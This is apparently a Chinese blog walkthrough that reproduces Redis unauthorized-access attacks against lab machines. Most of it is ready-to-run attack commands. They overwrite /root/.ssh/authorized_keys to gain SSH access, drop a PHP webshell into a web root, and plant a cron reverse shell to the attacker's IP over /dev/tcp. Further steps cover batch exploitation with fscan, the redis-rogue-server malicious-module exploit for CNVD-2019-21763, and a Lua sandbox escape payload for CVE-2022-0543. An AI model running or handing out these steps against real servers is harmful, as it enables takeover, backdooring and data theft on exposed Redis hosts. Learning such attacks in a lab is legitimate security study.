• 【漏洞复现】redis未授权访问


    漏洞原理

    Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

    Redis是一个开源的、使用c语言编写的NoSQL数据库。

    Redis基于内存运行并支持持久化(支持存储在磁盘),采用key-value(键值对)的存储形式,是目前分布式架构中不可或缺的一环。

    Redis器程序是单进程模型

    Redis服务在一台服务器上可以同时启动多个Redis进程,Redis的实际处理速度则是完全依靠于主进程的执行效率。若在服务器.上只运行一个Redis进程, 当多个客户端同时访问时,服务器的处理能力是会有一-定程度的下降;若在同一台服务器上开启多个Redis进程,Redis在提高并发处理能力的同时会给服务器的CPU造成很大压力。即:在实际生产环境中,需要根据实际的需求来决定开启多少个Redis进程

    redis服务 配置不当

    • 没有设置密码,或者设置密码为弱口令
    • 没有开启防火墙
    • 将6379端口直接暴露在公网上,允许任何人访问
    • 将将protected-mode设置为no,把保护关掉。
    • 用管理员身份运行redis服务

    写入SSH公钥实现ssh登录

    ssh密钥登录服务器原理–>https://blog.csdn.net/qq_52549196/article/details/126339995

    首先准备id_rsa.pub文件

    在这里插入图片描述
    要在前后都加一个换行

    写公钥到服务器

    config get dir 	获取redis用于文件持久化存储的路径
    config get dbfilename 获取redis用于文件持久化存储的文件名
    config set dir xxxx 修改路径
    config set dbfilename xxx 修改文件名
    save	命令是直接手动持久化内存中的数据
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 将公钥中的内容作为值写入到hack中
    cat .\id_rsa.pub | redis-cli.exe -h 192.168.100.128 -x  set  hack
    
    • 1
    • 连接redis服务,更改redis备份路径为ssh公钥存放目录,设置上传公钥的备份文件名字为authorized_keys,保存,退出
    redis-cli.exe -h 192.168.100.128
    config set dir /root/.ssh		
    config set dbfilename authorized_keys
    save						
    exit						
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 可以看到成功写入公钥到服务器,可不用密码直接连接

    在这里插入图片描述

    写入webshell

    利用条件

    • 靶机redis连接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证。
    • 开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限。

    靶机环境有phpinfo知道路径

    /www/wwwroot/192.168.100.131

    在这里插入图片描述

    写入一句话木马

    redis-cli.exe -h 192.168.100.128
    config set dir /www/wwwroot/192.168.100.131
    config set  dbfilename shell.php 
    set x "$_POST['1']);?>" 
    save
    
    • 1
    • 2
    • 3
    • 4
    • 5

    成功写入木马

    在这里插入图片描述

    写入任务计划,反弹shell

    利用条件

    注意任务计划反弹shell方法仅适用于Centos,因为 redis 保存 RDB 会存在乱码,在 Ubuntu 上会报错,而在 Centos 上不会报错

    由于系统的不同,crontrab 定时文件位置也不同:

    • Centos 的定时任务文件在 /var/spool/cron/
    • Ubuntu 的定时任务文件在 /var/spool/cron/crontabs/
    redis-cli.exe -h 192.168.100.128
    set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.100.1/8888 0>&1\n\n"
    config set dir /var/spool/cron/
    config set dbfilename root
    save
    
    • 1
    • 2
    • 3
    • 4
    • 5

    成功写入计划任务

    在这里插入图片描述

    每分钟连接一次

    在这里插入图片描述

    fscan 一键直达

    在这里插入图片描述

    批量写公钥

    fscan.exe -h 192.168.100.128 -rf .\id_rsa.pub.txt
    
    • 1

    在这里插入图片描述

    批量写计划任务

    fscan.exe -h 192.168.100.128 -rs 192.168.100.1:6666 
    
    • 1

    在这里插入图片描述
    在这里插入图片描述

    CNVD-2019-21763

    由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。

    影响版本

    Redis 2.x,3.x,4.x,5.x

    环境搭建

    我的win11主机 192.168.100.1

    kali docker 中运行 靶机redis 192.168.100.131:6379

     docker run -d  -p 6379:6379 redis:5.0.0
    
    • 1

    在这里插入图片描述

    下载exp到本地:

    git clone https://github.com/LoRexxar/redis-rogue-server.git
    
    • 1

    下载执行模块:

    然后将该模块编译:make, 在当前目录下会生成一个module.so

    git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
    cd  RedisModules-ExecuteCommand
    make
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    将其复制到redis-rogue-server目录下并改名为exp.so

    cp module.so ../redis-rogue-server/exp.so
    cd ../redis-rogue-server
    
    • 1
    • 2

    利用exp

    python redis-rogue-server.py --rhost 192.168.100.131 --rport 6379 --lhost 192.168.100.1 --lport 23333
    
    • 1

    在这里插入图片描述

    成功利用

    在这里插入图片描述

    也可以选择redis远程连接:

    在这里插入图片描述

    CVE-2022-0543

    Redis Lua沙盒绕过 命令执行(CVE-2022-0543)
    Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。
    Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。
    我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令

    影响版本 :

    运行在 Debian、Ubuntu 或其他基于 Debian 的 Linux 发行版系统上的 Redis 服务。 2.2 < redis < 6.2.5

    利用exp

    eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close();
    
    • 1

    在这里插入图片描述

  • 相关阅读:
    CentOS断电丢失数据修复问题
    Opencv实现颜色检测
    爬虫入门篇
    大数据如何应用于业务和决策?_光点科技
    【echarts】04、echarts+vue2 - 折线图
    CGAL::2D Arrangements-7
    JVM的内存管理机制详解
    剑指offer——JZ84 二叉树中和为某一值的路径(三) 解题思路与具体代码【C++】
    2022年最新四川水利水电施工安全员模拟试题题库及答案
    Python爬虫(十八)_多线程糗事百科案例
  • 原文地址:https://blog.csdn.net/qq_52549196/article/details/126351879